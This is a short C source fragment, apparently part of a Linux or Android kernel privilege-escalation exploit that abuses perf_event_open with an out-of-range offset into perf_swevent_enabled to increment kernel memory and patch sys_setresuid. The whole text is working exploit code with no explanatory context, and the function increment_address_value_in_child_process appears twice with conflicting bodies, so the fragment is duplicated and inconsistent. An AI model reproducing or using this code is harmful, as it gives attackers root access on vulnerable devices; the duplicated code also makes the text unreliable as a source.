static pid_t increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd) { unsigned long int perf_swevent_enabled; int offset; int i = 0; pid_t pid; perf_swevent_enabled = get_perf_swevent_enabled_address(); if (!perf_swevent_enabled) { return -1; } offset = (int)(address - perf_swevent_enabled) / 4; offset |= 0x80000000; pid = prepare_pipes(child_fd); if (pid == 0) { for (i = 0; i < count; i++) { syscall_perf_event_open(offset); } printf("Done\n"); } return pid; }
bool break_with_perf_swevent(unsigned long int sys_setresuid_address) { unsigned long int perf_swevent_enabled; int offset; perf_swevent_enabled = get_perf_swevent_enabled_address(); if (!perf_swevent_enabled) { return false; } offset = (int)(sys_setresuid_address + 0x3c - perf_swevent_enabled) / 4; return syscall_perf_event_open(offset); }
static pid_t increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd) { unsigned long int perf_swevent_enabled; int offset; int i = 0; pid_t pid; perf_swevent_enabled = get_perf_swevent_enabled_address(); if (!perf_swevent_enabled) { return -1; } offset = (int)(address - perf_swevent_enabled) / 4; return increment_value_at_offset_in_child_process(offset, count, child_fd); }